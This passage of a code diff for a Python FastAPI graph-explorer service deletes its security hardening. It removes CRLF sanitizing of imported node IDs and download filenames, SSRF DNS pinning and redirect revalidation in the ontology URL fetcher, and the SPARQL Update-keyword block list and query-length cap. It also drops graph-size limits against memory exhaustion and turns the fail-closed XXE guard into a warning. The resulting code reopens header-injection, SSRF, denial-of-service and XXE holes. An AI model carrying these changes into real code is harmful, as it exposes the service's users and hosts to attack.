"label": candidate_node.get("content", candidate_id),
|
||||
}
|
||||
)
|
||||
results.sort(key=lambda item: item["score"], reverse=True)
|
||||
return results
|
||||
|
||||
existing_neighbors = {
|
||||
edge.get("target") for edge in edges_out
|
||||
} | {
|
||||
edge.get("source") for edge in edges_in
|
||||
}
|
||||
|
||||
def _score_all() -> list:
|
||||
results = []
|
||||
for candidate_node in nodes:
|
||||
candidate_id = candidate_node.get("id")
|
||||
if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors:
|
||||
continue
|
||||
if body.candidate_type and candidate_node.get("type") != body.candidate_type:
|
||||
continue
|
||||
try:
|
||||
score = predictor.score_link(session.graph, body.node_id, candidate_id)
|
||||
except Exception:
|
||||
continue
|
||||
if score >= body.min_score:
|
||||
results.append(
|
||||
{
|
||||
"target": candidate_id,
|
||||
"score": score,
|
||||
"type": candidate_node.get("type", "entity"),
|
||||
"label": candidate_node.get("content", candidate_id),
|
||||
}
|
||||
)
|
||||
results.sort(key=lambda item: item["score"], reverse=True)
|
||||
return results
|
||||
|
||||
scored = await asyncio.to_thread(_score_all)
|
||||
scored = await asyncio.to_thread(_score_all)
|
||||
return LinkPredictionResponse(node_id=body.node_id, predictions=scored[: body.top_n])
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
"""
|
||||
"""
|
||||
Import and export routes for graph datasets.
|
||||
"""
|
||||
|
||||
@@ -6,7 +6,6 @@ import csv
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
|
||||
from fastapi import APIRouter, Depends, File, HTTPException, UploadFile
|
||||
from fastapi.responses import Response
|
||||
@@ -23,33 +22,6 @@ _IMPORT_MAX_BYTES = 50 * 1024 * 1024 # 50 MB
|
||||
# Do not add extensions here unless a corresponding parsing branch exists below.
|
||||
_ALLOWED_IMPORT_EXTENSIONS = frozenset({".json", ".csv"})
|
||||
|
||||
# SECURITY: Strip characters from imported node IDs that would enable stored
|
||||
# HTTP response header injection (CWE-20 / CWE-113). These IDs are later
|
||||
# reflected verbatim into Content-Disposition filename= headers by the
|
||||
# provenance report endpoint -- CRLF sequences in an ID can split the HTTP
|
||||
# response and inject arbitrary headers (Set-Cookie, Content-Type, etc.).
|
||||
# NUL bytes truncate filenames on POSIX and some Windows APIs.
|
||||
_UNSAFE_ID_CHARS = re.compile(r'[\r\n\x00"\\]')
|
||||
_MAX_IMPORT_NODE_ID_LEN = 512
|
||||
|
||||
|
||||
def _sanitize_import_node_id(raw: object) -> str:
|
||||
"""Sanitize a node ID arriving from an uploaded CSV or JSON file.
|
||||
|
||||
Strips CR, LF, NUL, double-quotes, and backslashes, then length-caps the
|
||||
result. These are the characters that enable CRLF header injection when
|
||||
the ID is later used in a Content-Disposition filename= parameter.
|
||||
"""
|
||||
if raw is None:
|
||||
return ""
|
||||
cleaned = _UNSAFE_ID_CHARS.sub("_", str(raw).strip())
|
||||
if len(cleaned) > _MAX_IMPORT_NODE_ID_LEN:
|
||||
raise HTTPException(
|
||||
status_code=422,
|
||||
detail=f"Node ID exceeds maximum length of {_MAX_IMPORT_NODE_ID_LEN} characters.",
|
||||
)
|
||||
return cleaned
|
||||
|
||||
|
||||
def _import_response(nodes_added: int, edges_added: int, message: str = "Import successful") -> ImportResponse:
|
||||
return ImportResponse(
|
||||
@@ -105,19 +77,12 @@ async def import_file(
|
||||
nodes = []
|
||||
for raw_node in raw_nodes:
|
||||
if "properties" in raw_node:
|
||||
# SECURITY: this pre-built-node path bypasses the id/type/properties
|
||||
# construction below entirely, so it must sanitize the id itself --
|
||||
# otherwise a payload like {"id": "<crlf>", "properties": {}} skips
|
||||
# _sanitize_import_node_id() completely (CWE-20/CWE-113 bypass).
|
||||
safe_node_id = _sanitize_import_node_id(
|
||||
raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))
|
||||
)
|
||||
nodes.append({**raw_node, "id": safe_node_id})
|
||||
nodes.append(raw_node)
|
||||
continue
|
||||
metadata = raw_node.get("metadata", {}) or {}
|
||||
nodes.append(
|
||||
{
|
||||
"id": _sanitize_import_node_id(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))),
|
||||
"id": str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))),
|
||||
"type": raw_node.get("type", "entity"),
|
||||
"properties": {
|
||||
"content": raw_node.get("text", raw_node.get("content", raw_node.get("id", ""))),
|
||||
@@ -137,8 +102,8 @@ async def import_file(
|
||||
{
|
||||
"id": raw_edge.get("id", raw_edge.get("edge_id")),
|
||||
"familyId": raw_edge.get("familyId", raw_edge.get("family_id")),
|
||||
"source_id": _sanitize_import_node_id(source),
|
||||
"target_id": _sanitize_import_node_id(target),
|
||||
"source_id": str(source),
|
||||
"target_id": str(target),
|
||||
"type": raw_edge.get("type", raw_edge.get("relationship", "related_to")),
|
||||
"weight": float(raw_edge.get("weight", 1.0)),
|
||||
"properties": edge_properties,
|
||||
@@ -194,8 +159,8 @@ async def import_file(
|
||||
{
|
||||
"id": row.get("id") or row.get("edge_id"),
|
||||
"familyId": row.get("familyId") or row.get("family_id"),
|
||||
"source_id": _sanitize_import_node_id(source),
|
||||
"target_id": _sanitize_import_node_id(target),
|
||||
"source_id": str(source),
|
||||
"target_id": str(target),
|
||||
"type": row.get("type") or row.get("relationship") or row.get(":TYPE") or "related_to",
|
||||
"weight": float(row.get("weight", 1.0) or 1.0),
|
||||
"properties": edge_props,
|
||||
@@ -209,7 +174,7 @@ async def import_file(
|
||||
}
|
||||
nodes.append(
|
||||
{
|
||||
"id": _sanitize_import_node_id(node_id),
|
||||
"id": str(node_id),
|
||||
"type": row.get("type") or row.get("label") or row.get(":LABEL") or "entity",
|
||||
"properties": node_props,
|
||||
}
|
||||
|
||||
@@ -11,7 +11,7 @@ import uuid
|
||||
from datetime import datetime, UTC
|
||||
from difflib import SequenceMatcher
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
from urllib.parse import urljoin, urlparse
|
||||
from urllib.parse import urlparse
|
||||
from typing_extensions import Literal
|
||||
|
||||
from fastapi import APIRouter, Depends, HTTPException, Query, Request
|
||||
@@ -978,18 +978,8 @@ def _normalize_format(fmt: Optional[str]) -> str:
|
||||
return _FORMAT_ALIASES.get(lower, lower)
|
||||
|
||||
|
||||
def _validate_fetch_url(url: str) -> List[str]:
|
||||
"""Reject non-HTTP(S) schemes and private/loopback/link-local targets.
|
||||
|
||||
Returns every resolved, validated IP address (deduplicated, in
|
||||
resolution order) so the caller can pin the actual connection to them
|
||||
(see _make_pinned_session) with fallback across all of them — not just
|
||||
the first — since a hostname can have multiple A/AAAA records and the
|
||||
first one isn't guaranteed reachable. Resolving the hostname again at
|
||||
connect time would open a DNS check-then-use window (a low-TTL or
|
||||
rebinding DNS answer could differ between this check and the client's
|
||||
own lookup), which is what pinning to these specific addresses avoids.
|
||||
"""
|
||||
def _validate_fetch_url(url: str) -> None:
|
||||
"""Reject non-HTTP(S) schemes and private/loopback/link-local targets."""
|
||||
parsed = urlparse(url)
|
||||
if parsed.scheme not in ("http", "https"):
|
||||
raise HTTPException(status_code=422, detail="Only http and https URLs are allowed.")
|
||||
@@ -1000,7 +990,6 @@ def _validate_fetch_url(url: str) -> List[str]:
|
||||
addrinfos = socket.getaddrinfo(hostname, None)
|
||||
except socket.gaierror as exc:
|
||||
raise HTTPException(status_code=422, detail=f"Cannot resolve hostname '{hostname}': {exc}") from exc
|
||||
validated_ips: List[str] = []
|
||||
for _family, _type, _proto, _canonname, sockaddr in addrinfos:
|
||||
try:
|
||||
ip = ipaddress.ip_address(sockaddr[0])
|
||||
@@ -1011,161 +1000,28 @@ def _validate_fetch_url(url: str) -> List[str]:
|
||||
status_code=422,
|
||||
detail="Fetching from private, loopback, or reserved network addresses is not allowed.",
|
||||
)
|
||||
if sockaddr[0] not in validated_ips:
|
||||
validated_ips.append(sockaddr[0])
|
||||
if not validated_ips:
|
||||
raise HTTPException(status_code=422, detail=f"Cannot resolve hostname '{hostname}' to a usable address.")
|
||||
return validated_ips
|
||||
|
||||
|
||||
def _make_pinned_session(pinned_ips: List[str], url: str):
|
||||
"""Build a requests.Session whose connection is pinned to pinned_ips
|
||||
(tried in order, falling back on connection failure), regardless of
|
||||
what url's hostname resolves to at connect time.
|
||||
|
||||
_validate_fetch_url() resolves and validates the hostname once; letting
|
||||
the HTTP client resolve it again independently at connect time reopens
|
||||
the exact gap that validation exists to close — a low-TTL or rebinding
|
||||
DNS answer can differ between the two lookups. This pins the pool's
|
||||
connect target to the already-validated addresses directly (bypassing
|
||||
DNS resolution for the connection entirely), while keeping the original
|
||||
hostname as the outgoing HTTP Host header and, for HTTPS, the TLS SNI
|
||||
server_hostname / assert_hostname — otherwise the connection would
|
||||
reach the right IP but present the wrong identity, breaking name-based
|
||||
virtual hosting and (for HTTPS) certificate hostname verification.
|
||||
|
||||
Falls back across every validated address (not just the first) so a
|
||||
hostname with multiple A/AAAA records doesn't fail outright just
|
||||
because the first-returned address happens to be unreachable.
|
||||
|
||||
Note: urllib3's Connection.host is a property that reads/writes the
|
||||
same underlying value as `_dns_host` in this version — it is NOT the
|
||||
separate "presented identity" field it is in some older releases, so
|
||||
overriding just `_dns_host` post-construction (as an earlier version of
|
||||
this fix did) actually changes the Host header too. Pinning the pool's
|
||||
`host` directly and restoring the real hostname via an explicit Host
|
||||
header (+ SNI params for HTTPS) is the correct mechanism here.
|
||||
"""
|
||||
import requests as _req
|
||||
import urllib3.util.connection as _u3_connection
|
||||
from urllib3.exceptions import NewConnectionError
|
||||
|
||||
parsed = urlparse(url)
|
||||
hostname = parsed.hostname
|
||||
port = parsed.port
|
||||
default_port = 443 if parsed.scheme == "https" else 80
|
||||
host_header = hostname if port in (None, default_port) else f"{hostname}:{port}"
|
||||
|
||||
class _MultiIPConnectionMixin:
|
||||
"""Overrides _new_conn to fall back across every pinned IP in
|
||||
order, instead of urllib3's default single-host connect."""
|
||||
|
||||
def _new_conn(self):
|
||||
last_exc: Optional[BaseException] = None
|
||||
for ip in pinned_ips:
|
||||
try:
|
||||
return _u3_connection.create_connection(
|
||||
(ip, self.port),
|
||||
self.timeout,
|
||||
source_address=self.source_address,
|
||||
socket_options=self.socket_options,
|
||||
)
|
||||
except OSError as exc:
|
||||
last_exc = exc
|
||||
continue
|
||||
raise NewConnectionError(
|
||||
self, f"Failed to establish a connection to any of {pinned_ips}: {last_exc}"
|
||||
)
|
||||
|
||||
class _PinnedIPHTTPAdapter(_req.adapters.HTTPAdapter):
|
||||
def get_connection_with_tls_context(self, request, verify, proxies=None, cert=None):
|
||||
# A proxy would perform its own DNS resolution of the target
|
||||
# host on this process's behalf — a resolution outside this
|
||||
# process's visibility or control, so there is no client-side
|
||||
# pin that closes that race. Proxies are disabled outright for
|
||||
# this SSRF-sensitive fetcher (session.trust_env=False below),
|
||||
# so this should be unreachable via environment proxies; fail
|
||||
# closed rather than silently skip pinning if a proxy is
|
||||
# somehow still configured (e.g. passed explicitly in the
|
||||
# future). _validate_fetch_url's destination classification is
|
||||
# a separate, always-enforced check — this only guards the
|
||||
# secondary DNS-pinning hardening.
|
||||
if _req.utils.select_proxy(request.url, proxies):
|
||||
raise HTTPException(
|
||||
status_code=502,
|
||||
detail="Proxied requests are not supported for ontology URL fetching.",
|
||||
)
|
||||
host_params, pool_kwargs = self.build_connection_pool_key_attributes(request, verify, cert)
|
||||
if host_params.get("scheme") == "https":
|
||||
pool_kwargs.setdefault("assert_hostname", hostname)
|
||||
pool_kwargs.setdefault("server_hostname", hostname)
|
||||
host_params["host"] = pinned_ips[0]
|
||||
pool = self.poolmanager.connection_from_host(**host_params, pool_kwargs=pool_kwargs)
|
||||
base_connection_cls = pool.ConnectionCls
|
||||
if not issubclass(base_connection_cls, _MultiIPConnectionMixin):
|
||||
pool.ConnectionCls = type(
|
||||
"_PinnedConnection", (_MultiIPConnectionMixin, base_connection_cls), {}
|
||||
)
|
||||
return pool
|
||||
|
||||
session = _req.Session()
|
||||
# Never honor HTTP_PROXY/HTTPS_PROXY/NO_PROXY env vars for this
|
||||
# SSRF-sensitive fetcher: a configured proxy would perform its own DNS
|
||||
# resolution of the target host outside this process's control,
|
||||
# silently reopening the DNS check-then-use race pinning exists to
|
||||
# close. See _PinnedIPHTTPAdapter.get_connection_with_tls_context for
|
||||
# the fail-closed backstop if a proxy is somehow still configured.
|
||||
session.trust_env = False
|
||||
session.headers["Host"] = host_header
|
||||
adapter = _PinnedIPHTTPAdapter()
|
||||
session.mount("http://", adapter)
|
||||
session.mount("https://", adapter)
|
||||
return session
|
||||
|
||||
|
||||
def _fetch_url_sync(url: str) -> bytes:
|
||||
pinned_ips = _validate_fetch_url(url)
|
||||
_MAX_REDIRECTS = 5
|
||||
current_url = url
|
||||
_validate_fetch_url(url)
|
||||
import requests as _req
|
||||
try:
|
||||
for _ in range(_MAX_REDIRECTS + 1):
|
||||
session = _make_pinned_session(pinned_ips, current_url)
|
||||
try:
|
||||
resp = session.get(
|
||||
current_url,
|
||||
headers={"Accept": "text/turtle, application/rdf+xml, application/ld+json, */*;q=0.1"},
|
||||
timeout=30,
|
||||
stream=True,
|
||||
allow_redirects=False, # SECURITY: follow redirects manually
|
||||
)
|
||||
if resp.is_redirect or resp.is_permanent_redirect:
|
||||
redirect_url = resp.headers.get("Location")
|
||||
resp.close() # Release the streamed connection before following the redirect
|
||||
if not redirect_url:
|
||||
raise HTTPException(status_code=502, detail="Redirect without Location header.")
|
||||
# Resolve relative redirects (e.g. /ontology.ttl) against the current URL
|
||||
redirect_url = urljoin(current_url, redirect_url)
|
||||
# Re-validate the redirect target to prevent SSRF via
|
||||
# open-redirect to internal/cloud-metadata endpoints, and
|
||||
# get fresh pins for the new host.
|
||||
pinned_ips = _validate_fetch_url(redirect_url)
|
||||
current_url = redirect_url
|
||||
continue
|
||||
try:
|
||||
resp.raise_for_status()
|
||||
chunks: List[bytes] = []
|
||||
total = 0
|
||||
for chunk in resp.iter_content(65536):
|
||||
total += len(chunk)
|
||||
if total > _MAX_FETCH_BYTES:
|
||||
raise HTTPException(status_code=413, detail="Remote resource exceeds 20 MB limit.")
|
||||
chunks.append(chunk)
|
||||
return b"".join(chunks)
|
||||
finally:
|
||||
resp.close() # Release the streamed connection once fully read (or on error)
|
||||
finally:
|
||||
session.close()
|
||||
raise HTTPException(status_code=502, detail=f"Too many redirects (max {_MAX_REDIRECTS}).")
|
||||
resp = _req.get(
|
||||
url,
|
||||
headers={"Accept": "text/turtle, application/rdf+xml, application/ld+json, */*;q=0.1"},
|
||||
timeout=30,
|
||||
stream=True,
|
||||
allow_redirects=True,
|
||||
)
|
||||
resp.raise_for_status()
|
||||
chunks: List[bytes] = []
|
||||
total = 0
|
||||
for chunk in resp.iter_content(65536):
|
||||
total += len(chunk)
|
||||
if total > _MAX_FETCH_BYTES:
|
||||
raise HTTPException(status_code=413, detail="Remote resource exceeds 20 MB limit.")
|
||||
chunks.append(chunk)
|
||||
return b"".join(chunks)
|
||||
except HTTPException:
|
||||
raise
|
||||
except Exception as exc:
|
||||
|
||||
@@ -5,7 +5,6 @@ Provenance routes for lineage visualization and exportable reports.
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
import networkx as nx
|
||||
@@ -20,24 +19,6 @@ from ...provenance.integrity import verify_checksum
|
||||
logger = logging.getLogger(__name__)
|
||||
router = APIRouter(prefix="/api/provenance", tags=["Power User Tools"])
|
||||
|
||||
# SECURITY: Strip characters that could break out of a Content-Disposition
|
||||
# filename= value and inject new HTTP response headers (CWE-113 / CRLF injection).
|
||||
# \r, \n, \x00 are the primary header-splitting vectors; " and \ would close
|
||||
# or escape the filename attribute.
|
||||
_UNSAFE_FILENAME_CHARS = re.compile(r'[\r\n\x00"\\]')
|
||||
_MAX_FILENAME_ID_LEN = 128
|
||||
|
||||
|
||||
def _safe_content_disposition_filename(node_id: str, suffix: str) -> str:
|
||||
"""Return a sanitized Content-Disposition filename for the given node_id.
|
||||
|
||||
Strips CR, LF, NUL, double-quotes, and backslashes that could split HTTP
|
||||
response headers or escape the filename attribute, then length-caps the
|
||||
result so it never produces an excessively long header value.
|
||||
"""
|
||||
sanitized = _UNSAFE_FILENAME_CHARS.sub("_", str(node_id))[:_MAX_FILENAME_ID_LEN]
|
||||
return f"{sanitized}{suffix}"
|
||||
|
||||
_AGENT_TYPES = {"person", "organization", "system", "agent"}
|
||||
_ACTIVITY_TYPES = {"action", "event", "process", "activity", "decision", "publication"}
|
||||
|
||||
@@ -352,12 +333,12 @@ async def export_provenance_report(
|
||||
content = _render_markdown(report)
|
||||
return PlainTextResponse(
|
||||
content,
|
||||
headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.md")}"'},
|
||||
headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.md"'},
|
||||
)
|
||||
|
||||
content = json.dumps(report, indent=2, default=str)
|
||||
return Response(
|
||||
content=content,
|
||||
media_type="application/json",
|
||||
headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.json")}"'},
|
||||
headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.json"'},
|
||||
)
|
||||
|
||||
@@ -3,16 +3,11 @@ SPARQL routes backed by an in-memory rdflib projection of the current graph.
|
||||
|
||||
Security contract
|
||||
-----------------
|
||||
* Only SELECT, ASK, CONSTRUCT, and DESCRIBE are accepted, and the query
|
||||
body is scanned for SPARQL Update keywords (INSERT/DELETE/DROP/LOAD/
|
||||
CLEAR/CREATE/COPY/MOVE/ADD) after stripping comments and PREFIX/BASE
|
||||
declarations — both enforced before graph construction, so rejected
|
||||
queries never touch the session. A multi-statement injection appended
|
||||
after an allowed keyword (e.g. ``SELECT ... ; DROP ALL``) is caught by
|
||||
the keyword scan itself, not left to rdflib's parser.
|
||||
* rdflib's parser remains a second line of defense for malformed multi-
|
||||
statement syntax that doesn't contain any forbidden keyword (e.g.
|
||||
``SELECT ... ; ASK ...``), which SPARQL 1.1 Query doesn't permit.
|
||||
* Only SELECT, ASK, CONSTRUCT, and DESCRIBE are accepted (allowlist enforced
|
||||
before graph construction so rejected queries never touch the session).
|
||||
* Multi-statement injections that start with an allowed keyword (e.g.
|
||||
``SELECT ... ; DROP ALL``) pass the prefix check and reach rdflib, which
|
||||
rejects non-SELECT/ASK/CONSTRUCT/DESCRIBE update syntax in the parser.
|
||||
* The in-memory rdflib graph is a read-only projection — the live
|
||||
``GraphSession`` is never mutated by this route.
|
||||
"""
|
||||
@@ -31,76 +26,14 @@ from ..session import GraphSession
|
||||
router = APIRouter(prefix="/api/sparql", tags=["Power User Tools"])
|
||||
|
||||
_ALLOWED_QUERY_TYPES = re.compile(
|
||||
r"^(SELECT|ASK|CONSTRUCT|DESCRIBE)\b",
|
||||
r"^\s*(SELECT|ASK|CONSTRUCT|DESCRIBE)\b",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# SPARQL Update keywords that must never appear in read-only queries.
|
||||
# These are checked AFTER comment/prefix stripping to prevent bypass via
|
||||
# comments like: # INSERT DATA { ... }\nSELECT ...
|
||||
_FORBIDDEN_KEYWORDS = re.compile(
|
||||
r"\b(INSERT|DELETE|DROP|LOAD|CLEAR|CREATE|COPY|MOVE|ADD)\b",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Matches SPARQL single-line comments (# ...) and PREFIX/BASE declarations.
|
||||
# The comment regex only treats '#' as a comment-starter at line-start or
|
||||
# after whitespace — not mid-token — since RDF namespace IRIs commonly
|
||||
# contain a literal '#' (e.g. ".../1999/02/22-rdf-syntax-ns#"), and a naive
|
||||
# `#[^\n]*` would truncate every such PREFIX declaration's IRI, corrupting
|
||||
# the query. BASE declarations have no prefix name between the keyword and
|
||||
# the IRI (`BASE <...>`, vs. `PREFIX ex: <...>`), so the prefix-name token
|
||||
# is optional.
|
||||
#
|
||||
# ReDoS fix (CodeQL py/polynomial-redos, issue #1897):
|
||||
#
|
||||
# The original pattern `<[^>]*>\s*` was vulnerable because `\s*` (which
|
||||
# matches newlines) could overlap with `[^>]*` on inputs that contain no
|
||||
# closing `>` (e.g. `base<!!<!<...`), forcing the engine to explore every
|
||||
# possible split between the two quantifiers — O(n²) backtracking.
|
||||
#
|
||||
# The fix uses `<[^>\r\n]*>` for the IRI body: excluding CR and LF from
|
||||
# the character class means the IRI match can never span a line boundary,
|
||||
# and the disjoint trailing `[ \t]*` (horizontal whitespace only) has zero
|
||||
# character-class overlap with `[^>\r\n]*`, so the engine has exactly one
|
||||
# way to match. No end-of-line anchor is needed or used, which correctly
|
||||
# handles both inline prologues (`PREFIX ex: <...> SELECT ...` on one line)
|
||||
# and CRLF line endings (`\r\n`) without any special casing.
|
||||
_COMMENT_LINE = re.compile(r"(?:^|(?<=\s))#[^\n]*", re.MULTILINE)
|
||||
_PREFIX_DECL = re.compile(
|
||||
r"^[ \t]*(?:PREFIX[ \t]+\S+|BASE)[ \t]*<[^>\r\n]*>[ \t]*",
|
||||
re.IGNORECASE | re.MULTILINE,
|
||||
)
|
||||
|
||||
|
||||
def _is_read_only_query(query: str) -> bool:
|
||||
"""Return True only for genuine read-only SPARQL queries.
|
||||
|
||||
Strips comments, PREFIX/BASE declarations, and leading whitespace before
|
||||
checking the first keyword. Also rejects queries containing SPARQL Update
|
||||
keywords anywhere in the body, preventing injection via embedded strings
|
||||
or multi-statement tricks.
|
||||
|
||||
Note: callers are responsible for enforcing any input-length limit *before*
|
||||
calling this function so that an oversized-query rejection can be surfaced
|
||||
as a distinct, actionable error rather than the generic read-only message.
|
||||
"""
|
||||
# 1. Remove single-line comments that could hide the real query type
|
||||
cleaned = _COMMENT_LINE.sub("", query)
|
||||
# 2. Remove PREFIX/BASE declarations
|
||||
cleaned = _PREFIX_DECL.sub("", cleaned)
|
||||
# 3. Strip remaining whitespace
|
||||
cleaned = cleaned.strip()
|
||||
|
||||
# 4. Check that the first keyword is a read-only query type
|
||||
if not _ALLOWED_QUERY_TYPES.match(cleaned):
|
||||
return False
|
||||
|
||||
# 5. Block any forbidden (mutating) keywords anywhere in the query
|
||||
if _FORBIDDEN_KEYWORDS.search(cleaned):
|
||||
return False
|
||||
|
||||
return True
|
||||
"""Return True only for SELECT / ASK / CONSTRUCT / DESCRIBE queries."""
|
||||
return bool(_ALLOWED_QUERY_TYPES.match(query))
|
||||
|
||||
|
||||
class SparqlRequest(BaseModel):
|
||||
@@ -126,27 +59,8 @@ def _build_rdflib_graph(session: GraphSession) -> rdflib.Graph:
|
||||
graph.bind("ent", NS)
|
||||
graph.bind("prop", PROP)
|
||||
|
||||
# SECURITY: Cap the number of entities materialized into memory to
|
||||
# prevent denial-of-service via memory exhaustion. Without this guard
|
||||
# an attacker can send concurrent SPARQL queries that each load ~1M
|
||||
# nodes/edges into rdflib Graph objects, consuming gigabytes of RAM.
|
||||
nodes, total_nodes = session.get_nodes(skip=0, limit=_SPARQL_MAX_GRAPH_NODES + 1)
|
||||
if len(nodes) > _SPARQL_MAX_GRAPH_NODES:
|
||||
raise ValueError(
|
||||
f"Graph has more than {_SPARQL_MAX_GRAPH_NODES:,} nodes. "
|
||||
f"SPARQL queries are limited to graphs with at most "
|
||||
f"{_SPARQL_MAX_GRAPH_NODES:,} nodes to prevent excessive "
|
||||
f"memory usage. Use the REST API for large graph operations."
|
||||
)
|
||||
|
||||
edges, _ = session.get_edges(skip=0, limit=_SPARQL_MAX_GRAPH_NODES + 1)
|
||||
if len(edges) > _SPARQL_MAX_GRAPH_NODES:
|
||||
raise ValueError(
|
||||
f"Graph has more than {_SPARQL_MAX_GRAPH_NODES:,} edges. "
|
||||
f"SPARQL queries are limited to graphs with at most "
|
||||
f"{_SPARQL_MAX_GRAPH_NODES:,} edges to prevent excessive "
|
||||
f"memory usage. Use the REST API for large graph operations."
|
||||
)
|
||||
nodes, _ = session.get_nodes(skip=0, limit=999_999)
|
||||
edges, _ = session.get_edges(skip=0, limit=999_999)
|
||||
|
||||
for node in nodes:
|
||||
subject = NS[str(node.get("id", ""))]
|
||||
@@ -177,12 +91,6 @@ def _build_rdflib_graph(session: GraphSession) -> rdflib.Graph:
|
||||
_SPARQL_MAX_ROWS = 5_000 # hard cap on returned rows
|
||||
_SPARQL_TIMEOUT_S = 30 # seconds before abandoning the await
|
||||
_SPARQL_MAX_CONCURRENT = 4 # semaphore: max simultaneous executions
|
||||
_SPARQL_MAX_GRAPH_NODES = 50_000 # cap on graph nodes/edges to prevent OOM
|
||||
# Defense-in-depth against ReDoS: reject inputs longer than this before any
|
||||
# regex work so that even a future regex regression is bounded. Checked in
|
||||
# execute_sparql() (not inside _is_read_only_query) so the route can return
|
||||
# a distinct, actionable error message rather than the generic read-only one.
|
||||
_SPARQL_MAX_QUERY_LEN = 10_000 # chars
|
||||
|
||||
# Semaphore caps how many graph.query calls run concurrently so that
|
||||
# timed-out threads (which keep running in the pool) cannot crowd out
|
||||
@@ -211,24 +119,6 @@ async def execute_sparql(
|
||||
req: SparqlRequest,
|
||||
session: GraphSession = Depends(get_session),
|
||||
):
|
||||
# Resource-limit check: reject oversized queries before any regex work.
|
||||
# This is intentionally a separate, earlier check from _is_read_only_query
|
||||
# so clients receive a specific, actionable message rather than the generic
|
||||
# read-only rejection, and operators can tune _SPARQL_MAX_QUERY_LEN without
|
||||
# touching query-semantics code.
|
||||
if len(req.query) > _SPARQL_MAX_QUERY_LEN:
|
||||
return SparqlResponse(
|
||||
columns=[],
|
||||
rows=[],
|
||||
total=0,
|
||||
error=(
|
||||
f"Query exceeds the maximum allowed length of "
|
||||
f"{_SPARQL_MAX_QUERY_LEN:,} characters "
|
||||
f"({len(req.query):,} received). "
|
||||
f"Please shorten your query."
|
||||
),
|
||||
)
|
||||
|
||||
if not _is_read_only_query(req.query):
|
||||
return SparqlResponse(
|
||||
columns=[],
|
||||
@@ -237,15 +127,7 @@ async def execute_sparql(
|
||||
error="Only SELECT, ASK, CONSTRUCT, and DESCRIBE queries are permitted.",
|
||||
)
|
||||
|
||||
try:
|
||||
graph = await asyncio.to_thread(_build_rdflib_graph, session)
|
||||
except ValueError as exc:
|
||||
return SparqlResponse(
|
||||
columns=[],
|
||||
rows=[],
|
||||
total=0,
|
||||
error=str(exc),
|
||||
)
|
||||
graph = await asyncio.to_thread(_build_rdflib_graph, session)
|
||||
|
||||
async with _sparql_semaphore:
|
||||
try:
|
||||
|
||||
@@ -375,19 +375,6 @@ class GraphSession:
|
||||
)
|
||||
return page, total
|
||||
|
||||
def get_raw_counts(self) -> tuple[int, int]:
|
||||
"""O(1) node/edge counts from the raw collections, with no per-item
|
||||
normalization.
|
||||
|
||||
``paginate_nodes``/``paginate_edges`` always normalize the *entire*
|
||||
matching set before applying ``limit``, so callers that need to reject
|
||||
an oversized graph before paying that cost (e.g. link prediction's DoS
|
||||
guard) should check this first rather than inspecting the ``total``
|
||||
returned by ``get_nodes``/``get_edges`` after the fact.
|
||||
"""
|
||||
with self._lock:
|
||||
return len(self.graph.nodes), len(self.graph.edges)
|
||||
|
||||
def paginate_edges(
|
||||
self,
|
||||
edge_type: Optional[str] = None,
|
||||
|
||||
@@ -14,23 +14,21 @@ _HAS_DEFUSEDXML = importlib.util.find_spec("defusedxml") is not None
|
||||
|
||||
|
||||
def _safe_parse_rdf(g: rdflib.Graph, data: bytes, rdf_format: str) -> None:
|
||||
"""Parse RDF bytes into *g*, guarding against XXE for XML-based formats.
|
||||
|
||||
Raises:
|
||||
ImportError: If ``defusedxml`` is not installed and the format is XML-based.
|
||||
"""
|
||||
"""Parse RDF bytes into *g*, guarding against XXE for XML-based formats."""
|
||||
xml_formats = {"xml", "rdf", "rdf/xml", "application/rdf+xml"}
|
||||
if rdf_format.lower() in xml_formats:
|
||||
if not _HAS_DEFUSEDXML:
|
||||
# Fail closed: refuse to parse untrusted XML without XXE protection.
|
||||
raise ImportError(
|
||||
"defusedxml is required to safely parse RDF/XML content but is "
|
||||
"not installed. Install it with: pip install defusedxml "
|
||||
"(or install semantica with the explorer extra: "
|
||||
"pip install 'semantica[explorer]')"
|
||||
if _HAS_DEFUSEDXML:
|
||||
# defusedxml patches xml.etree so rdflib's XML parser inherits the fix
|
||||
import defusedxml
|
||||
defusedxml.defuse_stdlib()
|
||||
else:
|
||||
# Warn once; best-effort protection via rdflib's own parser
|
||||
import warnings
|
||||
warnings.warn(
|
||||
"defusedxml is not installed. Install it (`pip install defusedxml`) "
|
||||
"to protect RDF/XML parsing against XXE attacks.",
|
||||
stacklevel=4,
|
||||
)
|
||||
import defusedxml
|
||||
defusedxml.defuse_stdlib()
|
||||
g.parse(data=data, format=rdf_format)
|
||||
|
||||
def _get_best_label(graph: rdflib.Graph, subject: rdflib.URIRef, predicate: rdflib.URIRef) -> str:
|
||||
|
||||
@@ -11,20 +11,17 @@ Python API:
|
||||
df = exporter.to_dataframe(include=["hops", "semantic_similarity", "distance_band"])
|
||||
exporter.to_csv("distances.csv")
|
||||
exporter.to_jsonl("distances.jsonl")
|
||||
|
||||
# Include error status columns for auditable exports:
|
||||
df = exporter.to_dataframe(include=["hop_count", "metric_errors"])
|
||||
"""
|
||||
|
||||
import csv
|
||||
import io
|
||||
import json
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from ..utils.helpers import classify_path_distance
|
||||
from ..utils.logging import get_logger
|
||||
|
||||
logger = get_logger("export.distance_exporter")
|
||||
logger = get_logger(__name__)
|
||||
|
||||
_KG_AVAILABLE = False
|
||||
try:
|
||||
@@ -39,9 +36,6 @@ _ALL_COLUMNS = [
|
||||
"distance_band", "source_betweenness", "target_betweenness",
